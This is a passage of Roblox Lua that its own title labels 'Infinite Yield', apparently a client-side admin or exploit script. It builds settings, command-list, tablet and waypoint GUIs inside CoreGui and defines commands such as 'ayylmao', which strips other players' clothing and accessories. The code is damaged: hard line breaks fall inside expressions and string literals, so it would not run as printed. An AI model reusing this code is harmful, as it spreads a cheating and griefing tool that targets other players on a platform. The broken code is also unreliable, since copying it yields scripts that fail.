everyone.Font = Enum.Font.SourceSans
everyone.FontSize = Enum.FontSize.Size14
everyone.Text = "Everyone"
everyone.TextColor3 = Color3.new(1, 1, 1)
JLtext.Name = "JLtext"
JLtext.Parent = FeedbackMain
JLtext.BackgroundColor3 = Color3.new(1, 1, 1)
JLtext.BackgroundTransparency = 1
JLtext.Position = UDim2.new(0, 0, 0, 220)
JLtext.Size = UDim2.new(1, 0, 0, 30)
JLtext.Font = Enum.Font.SourceSansBold
JLtext.FontSize = Enum.FontSize.Size18
JLtext.Text = " Joined/Left Notifications"
JLtext.TextColor3 = Color3.new(0.980392, 0.980392, 0.980392)
JLtext.TextStrokeTransparency = 0
JLtext.TextXAlignment = Enum.TextXAlignment.Left
CheckBoxJL.Name = "CheckBoxJL"
CheckBoxJL.Parent = FeedbackMain
CheckBoxJL.BackgroundTransparency = 1
CheckBoxJL.Position = UDim2.new(0, 187, 0, 220)
CheckBoxJL.Size = UDim2.new(0, 30, 0, 30)
CheckBoxJL.Image = "http://www.roblox.com/asset/?id=65492641"
friends.Name = "friends"
friends.Parent = FeedbackMain
friends.BackgroundColor3 = Color3.new(0, 0, 0)
friends.BackgroundTransparency = 0.80000001192093
friends.BorderColor3 = Color3.new(1, 1, 1)
friends.Position = UDim2.new(0, 230, 0, 215)
friends.Size = UDim2.new(0, 50, 0, 20)
friends.Font = Enum.Font.SourceSans
friends.FontSize = Enum.FontSize.Size14
friends.Text = "Friends"
friends.TextColor3 = Color3.new(1, 1, 1)
InputBox.Name = "InputBox"
InputBox.Parent = FeedbackMain
InputBox.BackgroundColor3 = Color3.new(1, 1, 1)
InputBox.Position = UDim2.new(0, 187, 0, 140)
InputBox.Size = UDim2.new(0, 30, 0, 30)
InputBox.AutoButtonColor = false
InputBox.Style = Enum.ButtonStyle.RobloxRoundDropdownButton
InputBox.Font = Enum.Font.SourceSans
InputBox.FontSize = Enum.FontSize.Size14
InputBox.Text = ""
Input_2.Name = "Input"
Input_2.Parent = InputBox
Input_2.BackgroundColor3 = Color3.new(1, 1, 1)
Input_2.BackgroundTransparency = 1
Input_2.Position = UDim2.new(0, -8, 0, -8)
Input_2.Size = UDim2.new(0, 20, 0, 20)
Input_2.Font = Enum.Font.SourceSansBold
Input_2.FontSize = Enum.FontSize.Size18
Input_2.MultiLine = true
Input_2.Text = ";"
Input_2.TextColor3 = Color3.new(0.235294, 0.235294, 0.235294)
Input_2.TextWrapped = true
Input_2.TextYAlignment = Enum.TextYAlignment.Top
MTText.Name = "MTText"
MTText.Parent = FeedbackMain
MTText.BackgroundColor3 = Color3.new(1, 1, 1)
MTText.BackgroundTransparency = 1
MTText.Position = UDim2.new(0, 0, 0, 180)
MTText.Size = UDim2.new(1, 0, 0, 30)
MTText.Font = Enum.Font.SourceSansBold
MTText.FontSize = Enum.FontSize.Size18
MTText.Text = " Message Seconds"
MTText.TextColor3 = Color3.new(0.980392, 0.980392, 0.980392)
MTText.TextStrokeTransparency = 0
MTText.TextXAlignment = Enum.TextXAlignment.Left
setMT.Name = "setMT"
setMT.Parent = FeedbackMain
setMT.BackgroundColor3 = Color3.new(1, 1, 1)
setMT.BorderSizePixel = 5
setMT.Position = UDim2.new(0, 235, 0, 183)
setMT.Size = UDim2.new(0, 40, 0, 25)
setMT.Style = Enum.ButtonStyle.RobloxRoundDropdownButton
setMT.Font = Enum.Font.ArialBold
setMT.FontSize = Enum.FontSize.Size18
setMT.Text = "Set"
CheckBoxS.Name = "CheckBoxS"
CheckBoxS.Parent = FeedbackMain
CheckBoxS.BackgroundTransparency = 1
CheckBoxS.Position = UDim2.new(0, 240, 0, 100)
CheckBoxS.Size = UDim2.new(0, 30, 0, 30)
CheckBoxS.Image = "http://www.roblox.com/asset/?id=65492641"
slocktext.Name = "slocktext"
slocktext.Parent = FeedbackMain
slocktext.BackgroundColor3 = Color3.new(1, 1, 1)
slocktext.BackgroundTransparency = 1
slocktext.Position = UDim2.new(0, 0, 0, 100)
slocktext.Size = UDim2.new(1, 0, 0, 30)
slocktext.Font = Enum.Font.SourceSansBold
slocktext.FontSize = Enum.FontSize.Size18
slocktext.Text = " Allow Friends On Serverlock"
slocktext.TextColor3 = Color3.new(0.980392, 0.980392, 0.980392)
slocktext.TextStrokeTransparency = 0
slocktext.TextXAlignment = Enum.TextXAlignment.Left
barBind.Name = "barBind"
barBind.Parent = FeedbackMain
barBind.BackgroundColor3 = Color3.new(1, 1, 1)
barBind.BackgroundTransparency = 1
barBind.Position = UDim2.new(0, 0, 0, 260)
barBind.Size = UDim2.new(1, 0, 0, 30)
barBind.Font = Enum.Font.SourceSansBold
barBind.FontSize = Enum.FontSize.Size18
barBind.Text = " Command Bar Keybind"
barBind.TextColor3 = Color3.new(0.980392, 0.980392, 0.980392)
barBind.TextStrokeTransparency = 0
barBind.TextXAlignment = Enum.TextXAlignment.Left
setBind.Name = "setBind"
setBind.Parent = FeedbackMain
setBind.BackgroundColor3 = Color3.new(1, 1, 1)
setBind.BorderSizePixel = 5
setBind.Position = UDim2.new(0, 235, 0, 262)
setBind.Size = UDim2.new(0, 40, 0, 25)
setBind.Style = Enum.ButtonStyle.RobloxRoundDropdownButton
setBind.Font = Enum.Font.ArialBold
setBind.FontSize = Enum.FontSize.Size18
setBind.Text = "Set"
MtimeInput.Name = "MtimeInput"
MtimeInput.Parent = FeedbackMain
MtimeInput.BackgroundColor3 = Color3.new(1, 1, 1)
MtimeInput.Position = UDim2.new(0, 187, 0, 180)
MtimeInput.Size = UDim2.new(0, 30, 0, 30)
MtimeInput.AutoButtonColor = false
MtimeInput.Style = Enum.ButtonStyle.RobloxRoundDropdownButton
MtimeInput.Font = Enum.Font.SourceSans
MtimeInput.FontSize = Enum.FontSize.Size14
MtimeInput.Text = ""
Input_3.Name = "Input"
Input_3.Parent = MtimeInput
Input_3.BackgroundColor3 = Color3.new(1, 1, 1)
Input_3.BackgroundTransparency = 1
Input_3.Position = UDim2.new(0, -8, 0, -8)
Input_3.Size = UDim2.new(0, 20, 0, 20)
Input_3.Font = Enum.Font.SourceSansBold
Input_3.FontSize = Enum.FontSize.Size18
Input_3.MultiLine = true
Input_3.Text = "7"
Input_3.TextColor3 = Color3.new(0.235294, 0.235294, 0.235294)
Input_3.TextWrapped = true
Input_3.TextYAlignment = Enum.TextYAlignment.Top
uicolortext.Name = "uicolortext"
uicolortext.Parent = FeedbackMain
uicolortext.BackgroundColor3 = Color3.new(1, 1, 1)
uicolortext.BackgroundTransparency = 1
uicolortext.Position = UDim2.new(0, 0, 0, 30)
uicolortext.Size = UDim2.new(1, 0, 0, 30)
uicolortext.Font = Enum.Font.SourceSansBold
uicolortext.FontSize = Enum.FontSize.Size18
uicolortext.Text = " UI Color"
uicolortext.TextColor3 = Color3.new(0.976471, 0.976471, 0.976471)
uicolortext.TextStrokeTransparency = 0
uicolortext.TextXAlignment = Enum.TextXAlignment.Left
openC.Name = "openC"
openC.Parent = FeedbackMain
openC.BackgroundColor3 = Color3.new(1, 1, 1)
openC.BorderSizePixel = 5
openC.Position = UDim2.new(0, 235, 0, 32)
openC.Size = UDim2.new(0, 40, 0, 25)
openC.Style = Enum.ButtonStyle.RobloxRoundDropdownButton
openC.Font = Enum.Font.ArialBold
openC.FontSize = Enum.FontSize.Size18
openC.Text = "Set"
size.Name = "size"
size.Parent = holder
size.BackgroundColor3 = Color3.new(0.639216, 0.635294, 0.647059)
size.BackgroundTransparency = 1
size.Position = UDim2.new(1, -301, 1, -300)
size.Size = UDim2.new(0, 275, 0, 300)
size.ZIndex = 2
MAIN.Name = "MAIN"
MAIN.Parent = size
MAIN.BackgroundColor3 = maincolor
MAIN.BackgroundTransparency = 0.5
MAIN.BorderColor3 = Color3.new(0, 0, 0)
MAIN.BorderSizePixel = 0
MAIN.Position = UDim2.new(0.0181818176, 1, 1.00333333, -305)
MAIN.Size = UDim2.new(0, 290, 0, 300)
Title_2.Name = "Title"
Title_2.Parent = MAIN
Title_2.BackgroundColor3 = Color3.new(0.639216, 0.635294, 0.647059)
Title_2.BackgroundTransparency = 1
Title_2.Size = UDim2.new(1, 0, 0, 30)
Title_2.Font = Enum.Font.SourceSansBold
Title_2.FontSize = Enum.FontSize.Size24
Title_2.Text = "Commands"
Title_2.TextColor3 = Color3.new(0.980392, 0.980392, 0.980392)
Title_2.TextStrokeTransparency = 0
Example.Name = "Example"
Example.Parent = MAIN
Example.BackgroundColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
Example.BackgroundTransparency = 1
Example.BorderColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
Example.BorderSizePixel = 0
Example.Size = UDim2.new(0, 190, 0, 20)
Example.Visible = false
Example.Font = Enum.Font.SourceSansBold
Example.TextSize = 20
Example.Text = "txt"
Example.TextColor3 = Color3.new(0.972549, 0.972549, 0.972549)
Example.TextStrokeTransparency = 0
Example.TextXAlignment = Enum.TextXAlignment.Left
Example.ZIndex = 6
Search.Name = "Search"
Search.Parent = MAIN
Search.BackgroundColor3 = Color3.new(0, 0, 0)
Search.BackgroundTransparency = 0.69999998807907
Search.BorderColor3 = Color3.new(1, 1, 1)
Search.Position = UDim2.new(0.5, -127, 0.200000003, -25)
Search.Size = UDim2.new(0, 250, 0, 20)
Search.ClearTextOnFocus = false
Search.Font = Enum.Font.SourceSansBold
Search.FontSize = Enum.FontSize.Size18
Search.Text = "Search"
Search.TextColor3 = Color3.new(1, 1, 1)
Search.TextStrokeColor3 = Color3.new(0.258824, 0.258824, 0.258824)
Search.TextStrokeTransparency = 0
CMDss.Name = "CMDs"
CMDss.Parent = MAIN
CMDss.BackgroundColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
CMDss.BackgroundTransparency = 1
CMDss.BorderColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
CMDss.BorderSizePixel = 0
CMDss.Position = UDim2.new(0, 10, 0, 65)
CMDss.Size = UDim2.new(0, 280, 0, 230)
CMDss.BottomImage = "rbxasset://textures/blackBkg_square.png"
CMDss.CanvasSize = UDim2.new(0, 0, 0, 5260)
CMDss.MidImage = "rbxasset://textures/blackBkg_square.png"
CMDss.ScrollBarThickness = 8
CMDss.TopImage = "rbxasset://textures/blackBkg_square.png"
notifyMAIN = Instance.new('ScreenGui', DATA)
notifyMAIN.Name = 'Notification'
notifyNOT = Instance.new('Frame', notifyMAIN)
notifyNOT.Name = 'NOTIFY'
notifyNOT.BackgroundColor = BrickColor.new(0,0,0)
notifyNOT.BackgroundTransparency = 1
notifyNOT.BorderColor = BrickColor.new(0,0,0)
notifyNOT.BorderSizePixel = 2
notifyNOT.Position = UDim2.new(0,0,-0.06,0)
notifyNOT.Size = UDim2.new(1,0,0,-40)
notifyNOTE = Instance.new('TextLabel', notifyNOT)
notifyNOTE.Name = 'NOTE'
notifyNOTE.BackgroundColor = BrickColor.new(255,255,255)
notifyNOTE.BackgroundTransparency = 1
notifyNOTE.BorderColor = BrickColor.new(255,255,255)
notifyNOTE.BorderSizePixel = 0
notifyNOTE.Size = UDim2.new(1,0,1,0)
notifyNOTE.ZIndex = 4
notifyNOTE.FontSize = 'Size18'
notifyNOTE.Font = 'SourceSansBold'
notifyNOTE.Text = 'NOTIFY'
notifyNOTE.TextColor = BrickColor.new(255,255,255)
notifyNOTE.TextStrokeColor3 = Color3.new(0,0,0)
notifyNOTE.TextStrokeTransparency = 0.8

addcmd('ayylmao','ayy lmao',{'alien'},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
if pchar:FindFirstChild("Shirt") then
pchar.Shirt:Destroy()
end
if pchar:FindFirstChild("Pants") then
pchar.Pants:Destroy()
end
if pchar:FindFirstChild("Shirt Graphic") then
pchar["Shirt Graphic"].Graphic = ""
end
for i,v in pairs(pchar:GetChildren()) do
if v:IsA("Accessory") then
v:Destroy()
end
end
local ayylmao = DATA.ayylmao:Clone()
ayylmao.Parent = pchar
local BC = pchar["Body Colors"]
BC.HeadColor = BrickColor.new("Fossil")
BC.LeftArmColor = BrickColor.new("Fossil")
BC.LeftLegColor = BrickColor.new("Fossil")
BC.RightArmColor = BrickColor.new("Fossil")
BC.RightLegColor = BrickColor.new("Fossil")
BC.TorsoColor = BrickColor.new("Fossil")
end
end)
HKFolder = Instance.new("Folder", game.CoreGui)
for i,v in pairs(HK) do
local HKValue = Instance.new("StringValue", HKFolder)
HKValue.Value = v
HKValue.RobloxLocked = true
end
CMDsFolder = Instance.new("Folder", game.CoreGui)
for i,v in pairs(CMDs) do
local CMDsValue = Instance.new("StringValue", CMDsFolder)
CMDsValue.Value = v
CMDsValue.RobloxLocked = true
end
cmdOpen = false
function commands()
if cmdOpen == false then
cmdOpen = true
local cmds = cp:Clone()
cmds.Parent = game.CoreGui
local HKV = HKFolder:GetChildren()
local CMDsV = CMDsFolder:GetChildren()
dragGUI(cmds.Frame)
cmds.Frame.holder:TweenSize(UDim2.new(0,300,0,0),"Out","Quad",0.01,true)
wait(0.01)
cmds.Frame.holder.FeedbackMain:TweenPosition(UDim2.new(1.02,0,1.018,-
310),"Out","Quad",0.2,true) wait(0.1)
cmds.Frame.holder.size:TweenPosition(UDim2.new(1,-301,1,-
300),"Out","Quad",0.2,true)
SettingsGUI = game.CoreGui.cp.Frame.holder if Nfriends == true then
SettingsGUI.FeedbackMain.friends.BorderColor3 = Color3.new(1,1,1)
SettingsGUI.FeedbackMain.everyone.BorderColor3 = Color3.new(0,0,0) elseif Nfriends
== false then
SettingsGUI.FeedbackMain.friends.BorderColor3 = Color3.new(0,0,0)
SettingsGUI.FeedbackMain.everyone.BorderColor3 = Color3.new(1,1,1)
end
--joined/left friend option
SettingsGUI.FeedbackMain.friends.MouseButton1Click:connect(function()
SettingsGUI.FeedbackMain.friends.BorderColor3 = Color3.new(1,1,1)
SettingsGUI.FeedbackMain.everyone.BorderColor3 = Color3.new(0,0,0)
Nfriends = true updatefile()
end)
SettingsGUI.FeedbackMain.everyone.MouseButton1Click:connect(function()
SettingsGUI.FeedbackMain.friends.BorderColor3 = Color3.new(0,0,0)
SettingsGUI.FeedbackMain.everyone.BorderColor3 = Color3.new(1,1,1)
Nfriends = false updatefile()
end)
-- Color mixer
SettingsGUI.FeedbackMain.openC.MouseButton1Click:Connect(function()
picker.ColorPicker.Visible = true picker.ColorPicker:TweenPosition(UDim2.new(0.5, -
219, 0, 100), "InOut", "Quart", 0.5, true, nil)
end)
--Message time
SettingsGUI.FeedbackMain.setMT.MouseButton1Click:Connect(function()
wait()
Mseconds = SettingsGUI.FeedbackMain.MtimeInput.Input.Text
Notify('Set message time to
' ..SettingsGUI.FeedbackMain.MtimeInput.Input.Text.. ' second(s)')
updatefile()
end)
--CMDBAR keybind
SettingsGUI.FeedbackMain.setBind.MouseButton1Click:Connect(function()
wait()
cmdbarbind = SettingsGUI.FeedbackMain.bindInput.Input.Text
cmdBAR.Text = 'Press ' ..cmdbarbind.. ' to focus the cmd bar'
Notify('Set the command bar keybind to
"' ..SettingsGUI.FeedbackMain.bindInput.Input.Text .. '"' )
updatefile()
end)
--Change prefix
SettingsGUI.FeedbackMain.setpre.MouseButton1Click:Connect(function()
wait()
cmdprefix = SettingsGUI.FeedbackMain.InputBox.Input.Text
Notify('Set prefix to "' .. SettingsGUI.FeedbackMain.InputBox.Input.Text ..
'"')
updatefile()
end)
--Check Box for notify
checked = "http://www.roblox.com/asset/?id=65492641"
unchecked = "http://www.roblox.com/asset/?id=65492651"
if suggestionstoggle == true then
SettingsGUI.FeedbackMain.CheckBox.Image = checked else
SettingsGUI.FeedbackMain.CheckBox.Image = unchecked end
SettingsGUI.FeedbackMain.CheckBox.MouseButton1Down:connect(function()
if suggestionstoggle == true then suggestionstoggle = false updatefile()
SettingsGUI.FeedbackMain.CheckBox.Image = unchecked else
suggestionstoggle = true
updatefile()
SettingsGUI.FeedbackMain.CheckBox.Image = checked end end)
--Check Box for allow friends on serverlock
checked2 = "http://www.roblox.com/asset/?id=65492641"
unchecked2 = "http://www.roblox.com/asset/?id=65492651"
if allowfriends == true then
SettingsGUI.FeedbackMain.CheckBoxS.Image = checked2 else
SettingsGUI.FeedbackMain.CheckBoxS.Image = unchecked2 end
SettingsGUI.FeedbackMain.CheckBoxS.MouseButton1Down:connect(function()
if allowfriends == true then allowfriends = false updatefile()
SettingsGUI.FeedbackMain.CheckBoxS.Image = unchecked2 else
allowfriends = true updatefile()
SettingsGUI.FeedbackMain.CheckBoxS.Image = checked2 end end)
--Check Box for JoinedLeft notifications
checked3 = "http://www.roblox.com/asset/?id=65492641"
unchecked3 = "http://www.roblox.com/asset/?id=65492651"
if JLnotify == true then
SettingsGUI.FeedbackMain.CheckBoxJL.Image = checked3 else
SettingsGUI.FeedbackMain.CheckBoxJL.Image = unchecked3 end
SettingsGUI.FeedbackMain.CheckBoxJL.MouseButton1Down:connect(function()
if JLnotify == true then JLnotify = false updatefile()
SettingsGUI.FeedbackMain.CheckBoxJL.Image = unchecked3 else JLnotify = true
SettingsGUI.FeedbackMain.CheckBoxJL.Image = checked3 updatefile()
SettingsGUI.FeedbackMain.friends.BorderColor3 = Color3.new(1,1,1)
SettingsGUI.FeedbackMain.everyone.BorderColor3 = Color3.new(0,0,0) end end)
cmds.Frame.holder.bar.cmds.MouseButton1Click:Connect(function()
cmds.Frame.holder.FeedbackMain:TweenPosition(UDim2.new(1.02,0,1.018,-
310),"Out","Quad",0.2,true) wait(0.1)
cmds.Frame.holder.size:TweenPosition(UDim2.new(1,-301,1,-
300),"Out","Quad",0.2,true) wait(0.2)
cmds.Frame.holder.bar.Hide.Visible = true
cmds.Frame.holder.bar.Hide:TweenSize(UDim2.new(0,20,0,20),"Out","Quad",0.2,true)
end)
cmds.Frame.holder.bar.settings.MouseButton1Click:Connect(function()
cmds.Frame.holder.size:TweenPosition(UDim2.new(1,-600,1,-
300),"Out","Quad",0.2,true) wait(0.1)
cmds.Frame.holder.FeedbackMain:TweenPosition(UDim2.new(1.02,-301,1.018,-
310),"Out","Quad",0.2,true) wait(0.2)
cmds.Frame.holder.bar.Hide.Visible = true
cmds.Frame.holder.bar.Hide:TweenSize(UDim2.new(0,20,0,20),"Out","Quad",0.2,true)
end)
cmds.Frame.holder.bar.Hide.MouseButton1Click:Connect(function()
cmds.Frame.holder.size:TweenPosition(UDim2.new(1,-301,1,-
640),"Out","Quad",0.2,true)
cmds.Frame.holder.FeedbackMain:TweenPosition(UDim2.new(1.02,-301,0.018,-
310),"Out","Quad",0.2,true) wait(0.2)
cmds.Frame.holder.bar.Hide:TweenSize(UDim2.new(0,20,0,0),"Out","Quad",0.2,true)
wait(0.2)
cmds.Frame.holder.bar.Hide.Visible = false end)
cmds.Frame.holder.bar.Exit.MouseButton1Click:Connect(function()
Input.Text = cmdbarbind Input_2.Text = cmdprefix Input_3.Text = Mseconds
cmds.Frame.holder:TweenSize(UDim2.new(0,300,0,0),"Out","Quad",0.2,true) wait(0.3)
cmds:Destroy() cmdOpen = false end)
cmds.Frame.holder:TweenSize(UDim2.new(0,300,0,330),"Out","Quad",0.2,true)
searchbar()
for i = 1, #HKV do
local YSize = 25
local Position = ((i * YSize) - YSize)
local newcmd = cmds.Frame.holder.size.MAIN.Example:Clone()
newcmd.Parent = cmds.Frame.holder.size.MAIN.CMDs
newcmd.Visible = true
newcmd.Position = UDim2.new(0,5,0, Position + 5)
newcmd.Text = "" .. HKV[i].Value
CMDss.CanvasSize = UDim2.new(0,0,0, Position + 30)
Input.Text = cmdbarbind Input_2.Text = cmdprefix Input_3.Text =
Mseconds
end
for i = 1, #CMDsV do
local YSize = 25
local Position = ((i * YSize) - YSize)
local newcmd = cmds.Frame.holder.size.MAIN.Example:Clone()
newcmd.Parent = cmds.Frame.holder.size.MAIN.CMDs
newcmd.Visible = true
newcmd.Position = UDim2.new(0,5,0, Position + 5)
newcmd.Text = "" .. CMDsV[i].Value
CMDss.CanvasSize = UDim2.new(0,0,0, Position + 30)
Input.Text = cmdbarbind Input_2.Text = cmdprefix Input_3.Text =
Mseconds
end
game.CoreGui.cp.Frame.holder.FeedbackMain:TweenPosition(UDim2.new(1.02,0,1.018,-
310),"Out","Quad",0.2,true) wait(0.1)
game.CoreGui.cp.Frame.holder.size:TweenPosition(UDim2.new(1,-301,1,-
300),"Out","Quad",0.2,true) wait(0.2)
game.CoreGui.cp.Frame.holder.bar.Hide.Visible = true
game.CoreGui.cp.Frame.holder.bar.Hide:TweenSize(UDim2.new(0,20,0,20),"Out","Quad",0
.2,true) end end

function searchbar()
local CSP = game.CoreGui.cp.Frame.holder.size.MAIN
local main = CSP
local frame = CSP:WaitForChild('CMDs')
local gui = CSP:WaitForChild('Search')
local focused = false
Match = function(name,str)
return name:lower():find(str:lower()) and true
end
gui.FocusLost:connect(function(enterpressed)
gui.Text = "Search"
end)
IndexContents = function(str,bool)
local Index,SizeY = 0,0
for i,v in next, frame:GetChildren() do
if bool then
if Match(v.Text,str) then
Index = Index + 1
v.Position = UDim2.new(0,0,0,Index*v.AbsoluteSize.Y-
v.AbsoluteSize.Y)
v.Visible = true
SizeY = SizeY + v.AbsoluteSize.Y
frame.CanvasSize = UDim2.new(0,0,0,SizeY)
else
v.Visible = false
end
else
v.Visible = true
SizeY = SizeY + v.AbsoluteSize.Y
frame.CanvasSize = UDim2.new(0,0,0,SizeY)
end
end
end
game:GetService('RunService').Stepped:connect(function()
if gui:IsFocused() and gui.Text == "Search" then
gui.Text = ''
end
end)
gui.Changed:connect(function()
if gui:IsFocused() then IndexContents(gui.Text,true) end
end)

IndexContents('',true)
end

function runwindow()
commands()
searchbar()
end

addcmd('settings','opens settings window',{'toggles'},


function(args, speaker)
if speaker.userId ~= LP.userId then
lponly(speaker)
else
runwindow()
game.CoreGui.cp.Frame.holder.size:TweenPosition(UDim2.new(1,-600,1,-
300),"Out","Quad",0.2,true)
wait(0.1)
game.CoreGui.cp.Frame.holder.FeedbackMain:TweenPosition(UDim2.new(1.02,-301,1.018,-
310),"Out","Quad",0.2,true)
wait(0.1)
game.CoreGui.cp.Frame.holder.bar.Hide.Visible = true
game.CoreGui.cp.Frame.holder.bar.Hide:TweenSize(UDim2.new(0,20,0,20),"Out","Quad",0
.2,true)
end
end)

function movetab(speaker,PART)
game:GetService('RunService').Stepped:connect(function()
if PART ~= nil and speaker ~= nil and
speaker.Character:FindFirstChild('HumanoidRootPart') then
PART.Locked = true
local cf = speaker.Character.HumanoidRootPart.CFrame
local newcf = cf + cf.lookVector * 6 + Vector3.new(0, 1, 0)
PART.CFrame = newcf end end) end
hastab = {}
addcmd('tablet','opens tablet gui',{},
function(args, speaker)
for _, child in pairs( workspace:GetChildren()) do
if child.Name == speaker.Name .. "TAB" then
child:Destroy() end end
game:GetService('Chat'):Chat(speaker.Character, 'The command to close is "'..
cmdprefix .. 'dismiss"', 1)
local GUI = Instance.new("SurfaceGui")
local holder = Instance.new("Frame")
local bar = Instance.new("Frame")
local Title = Instance.new("TextLabel")
local MAIN = Instance.new("Frame")
local Example = Instance.new("TextLabel")
local CMDs = Instance.new("ScrollingFrame")
local PART = Instance.new("Part")
PART.Name = speaker.Name .. 'TAB'
PART.Color = maincolor
PART.Size = Vector3.new(7, 7.8, 0.2)
PART.Transparency = 0
PART.Locked = true
PART.CanCollide = false
PART.Parent = workspace
PART.Anchored = true
PART.Material = "Neon"
local GUI = Instance.new("SurfaceGui")
local holder = Instance.new("Frame")
local bar = Instance.new("Frame")
local Title = Instance.new("TextLabel")
local MAIN = Instance.new("Frame")
local Example = Instance.new("TextLabel")
local CMDs = Instance.new("ScrollingFrame")
GUI.Name = "GUI"
GUI.Parent = PART
GUI.CanvasSize = Vector2.new(500, 600)
GUI.Face = Enum.NormalId.Back
holder.Name = "holder"
holder.Parent = GUI
holder.BackgroundColor3 = Color3.new(1, 1, 1)
holder.BackgroundTransparency = 1
holder.BorderSizePixel = 2
holder.Position = UDim2.new(0, 0, 0, 10)
holder.Size = UDim2.new(0, 300, 0, 330)
holder.ZIndex = 2
bar.Name = "bar"
bar.Parent = holder
bar.BackgroundColor3 = Color3.new(0, 0, 0)
bar.BackgroundTransparency = 0.89999997615814
bar.BorderSizePixel = 0
bar.Position = UDim2.new(0, 10, 1, -330)
bar.Size = UDim2.new(0, 480, 0, 33)
Title.Name = "Title"
Title.Parent = bar
Title.BackgroundColor3 = Color3.new(0.639216, 0.635294, 0.647059)
Title.BackgroundTransparency = 1
Title.Size = UDim2.new(1, 0, 0, 30)
Title.Font = Enum.Font.SourceSansBold
Title.FontSize = Enum.FontSize.Size24
Title.Text = "[Infinite Yield] Command List"
Title.TextColor3 = Color3.new(0.980392, 0.980392, 0.980392)
MAIN.Name = "MAIN"
MAIN.Parent = holder
MAIN.BackgroundColor3 = Color3.new(0, 0, 0)
MAIN.BackgroundTransparency = 0.89999997615814
MAIN.BorderSizePixel = 0
MAIN.Position = UDim2.new(0, 10, 1, -300)
MAIN.Size = UDim2.new(0, 480, 0, 550)
Example.Name = "Example"
Example.Parent = MAIN
Example.BackgroundColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
Example.BackgroundTransparency = 1
Example.BorderColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
Example.BorderSizePixel = 0
Example.Size = UDim2.new(0, 190, 0, 40)
Example.Visible = false
Example.Font = Enum.Font.SourceSansBold
Example.FontSize = Enum.FontSize.Size36
Example.Text = "txt"
Example.TextColor3 = Color3.new(0.972549, 0.972549, 0.972549)
Example.TextStrokeTransparency = 0
Example.TextXAlignment = Enum.TextXAlignment.Left
Example.ZIndex = 6
CMDs.Name = "CMDs"
CMDs.Parent = MAIN
CMDs.BackgroundColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
CMDs.BackgroundTransparency = 1
CMDs.BorderColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
CMDs.BorderSizePixel = 0
CMDs.Size = UDim2.new(0, 480, 0, 550)
CMDs.BottomImage = "rbxasset://textures/blackBkg_square.png"
CMDs.CanvasSize = UDim2.new(0, 0, 0, 4880)
CMDs.MidImage = "rbxasset://textures/blackBkg_square.png"
CMDs.ScrollBarThickness = 15
CMDs.TopImage = "rbxasset://textures/blackBkg_square.png"
local CMDsV = CMDsFolder:GetChildren()
for i = 1, #CMDsV do
local YSize = 35
local Position = ((i * YSize) - YSize)
local newcmd = Example:Clone()
newcmd.Parent = CMDs
newcmd.Visible = true
newcmd.Position = UDim2.new(0,10,0, Position + 1)
newcmd.Text = "" .. CMDsV[i].Value
CMDs.CanvasSize = UDim2.new(0,0,0, Position + 40) end
local cf = speaker.Character.HumanoidRootPart.CFrame
local newcf = cf + cf.lookVector * 6 + Vector3.new(0, 1, 0)
PART.CFrame = newcf
speaker.Character.Humanoid.Died:connect(function()
PART:Destroy() end)
wait(1)
PART.Transparency = 0.1 wait(0.05) PART.Transparency = 0.2 wait(0.05)
PART.Transparency = 0.3 wait(0.05) PART.Transparency = 0.4 wait(0.05)
PART.Transparency = 0.5 wait(0.05) PART.Transparency = 0.6 wait(0.05)
if FindTable(hastab, speaker.Name) then movetab(speaker,PART) return end
table.insert(hastab, speaker.Name) movetab(speaker,PART)
end)

function updatepositions()
if PList then
PList:ClearAllChildren()
PList.CanvasSize = UDim2.new(0, 0, 0, 10)
for i = 1, #WayPoints do
local YSize = 25
local Position = ((i * YSize) - YSize)
local newcmd = Example:Clone()
newcmd.Parent = PList
newcmd.Visible = true
newcmd.Position = UDim2.new(0,5,0, Position + 5)
newcmd.Text = " " .. WayPoints[i].NAME .. ": " ..
WayPoints[i].COORD[1] .. ", " .. WayPoints[i].COORD[2] .. ", " ..
WayPoints[i].COORD[3]
PList.CanvasSize = UDim2.new(0,0,0, Position + 30)
local goto = Instance.new("TextButton")
goto.Name = "goto"
goto.Parent = PList
goto.BackgroundColor3 = Color3.new(255, 255, 255)
goto.BackgroundTransparency = 0.30000001192093
goto.BorderColor3 = Color3.new(1, 0, 0)
goto.BorderSizePixel = 0
goto.Position = UDim2.new(0,-10,0, Position + 5)
goto.Size = UDim2.new(0, 20, 0, 20)
goto.FontSize = Enum.FontSize.Size14
goto.Text = ""
goto.ZIndex = 6
goto.MouseButton1Click:Connect(function()
execCmd("loadpos "..LP.Name.." "..WayPoints[i].NAME)
end)
end
end
end

posopen = false
addcmd("positions","lists waypoints",{'pos'},
function(args, speaker)
if posopen == false then
posopen = true
local Pos = Instance.new("ScreenGui")
local drag = Instance.new("Frame")
local PromptDialog = Instance.new("Frame")
local shadow = Instance.new("Frame")
local PopupText = Instance.new("TextLabel")
local Exit = Instance.new("TextButton")
local ContainerFrame = Instance.new("Frame")
PList = Instance.new("ScrollingFrame")
Pos.Name = "Pos"
Pos.Parent = game.CoreGui
drag.Name = "drag"
drag.Parent = Pos
drag.Active = true
drag.BackgroundColor3 = Color3.new(1, 1, 1)
drag.BackgroundTransparency = 1
dragGUI(drag)
drag.Position = UDim2.new(0.5, -150, 0, -400)
drag.Size = UDim2.new(0, 290, 0, 30)
PromptDialog.Name = "PromptDialog"
PromptDialog.Parent = drag
PromptDialog.BackgroundColor3 = Color3.new(0, 0, 0)
PromptDialog.BackgroundTransparency = 1
PromptDialog.BorderSizePixel = 0
PromptDialog.Position = UDim2.new(0, -10, 0, 0)
PromptDialog.Size = UDim2.new(0, 310, 0, 300)
PromptDialog.ZIndex = 8
shadow.Name = "shadow"
shadow.Parent = PromptDialog
